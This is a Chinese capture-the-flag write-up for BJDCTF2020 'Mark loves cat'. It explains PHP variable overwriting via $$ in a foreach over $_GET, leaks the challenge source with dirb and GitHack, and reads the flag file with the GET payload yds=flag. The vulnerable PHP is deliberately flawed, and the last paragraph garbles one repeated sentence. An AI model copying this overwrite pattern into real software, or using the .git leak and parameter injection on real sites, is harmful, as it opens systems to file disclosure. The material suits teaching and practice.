学习笔记38.[BJDCTF2020]Mark loves cat

题目:

image.png

补充下php变量覆盖:
$$ 导致的变量覆盖问题在CTF代码审计题目中经常在foreach中出现,如以下的示例代码,使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。请求?name=test 会将$name的值覆盖,变为test。

<?php
$name='thinking';
foreach ($_GET as $key => $value)

  $$key = $value;   //这里进行了覆盖 $$key传入的值是name 传入进入成为$name 所以造成了name外部的变量被覆盖

  var_dump($key);
  var_dump($value);
  var_dump($$key);

echo $name;

//?name=test
//output:string(4) “name”
//string(4) “test”
//string(4) “test”
//test
image.png

1.脸一样大的图,毛都没有,翻来覆去最后用dirb扫一下,发现源码泄露
dirb http://6716c386-0e2d-4295-a9c7-cca538d408af.node3.buuoj.cn/
经典脚本获得源码
python GitHack.py http://6716c386-0e2d-4295-a9c7-cca538d408af.node3.buuoj.cn/
2.index.php

<?php
include'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_GET as $x => $y){ //get传值
    $$x = $$y;  //漏洞在这里  比如输入 yds=flag 相当于 $yds=$flag
}

foreach($_GET as $x => $y){ 
    if($_GET['flag'] === $x && $x !== 'flag'){ //判断get传进来的值等不等于flag 如果等于flag则跳过
        exit($handsome);
    }
}

//检测get是否为flag 或者post是否为flag  必须两方都为假  否则输出$yds
//通过这里我们就可以结合前面的来构造 既然要输出$yds所以我们想办法让$flag的值赋值给$yds  
//构造yds=flag GET传输 在经过第一个foreach的时候进行了赋值 等于进行了这样的一个操作$yds=$flag  
//所以这个条件为真就可以输出flag了。
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
    
}
//

//检测POST flag是否为flag  或者get 是否为flag   //至少有一个为真则为真
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

?>

flag.php

<?php
$flag = file_get_contents('/flag');

可以看到里面用到可变变量,第二个条件最简单,只要保证post的flag和get的flag变量没被用过就行。输出的yds,所以我们只要get请求‘yds=flag‘就行了,就会把yds,所以我们只要get请求yds=flag就行了,所以我们只要get请求‘yds=flag‘就行了。

image.png

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

友情链接更多精彩内容